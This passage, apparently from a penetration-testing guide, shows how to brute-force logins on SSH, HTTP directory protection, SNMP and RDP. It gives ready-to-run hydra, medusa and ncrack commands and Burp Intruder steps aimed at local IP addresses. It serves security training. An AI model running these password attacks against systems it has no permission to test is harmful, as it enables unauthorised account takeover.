There are several tools specialized for bruteforcing online. There are several different services that are common for bruteforce. For example: VNC, SSH, FTP, SNMP, POP3, HTTP.
hydra -l root -P wordlist.txt 192.168.0.101 ssh
hydra -L userlist.txt -P best1050.txt 192.168.1.103 -s 22 ssh -V
You can password protect directories with apache pretty easily. Just configure the htaccess (I exaplin this in the chapter on Common ports).
It can then be brute forced like this:
medusa -h 192.168.1.101 -u admin -P wordlist.txt -M http -m DIR:/test -T 10
Use Burp suite.
- Intecept a login attempt.
- Right-lick "Send to intruder". Select Sniper if you have nly one field you want to bruteforce. If you for example already know the username. Otherwise select cluster-attack.
- Select your payload, your wordlist.
- Click attack.
- Look for response-length that differs from the rest.
hydra -P wordlist.txt -v 102.168.0.101 snmp
For RDP we can use Ncrack.
ncrack -vv --user admin -P password-file.txt rdp://192.168.0.101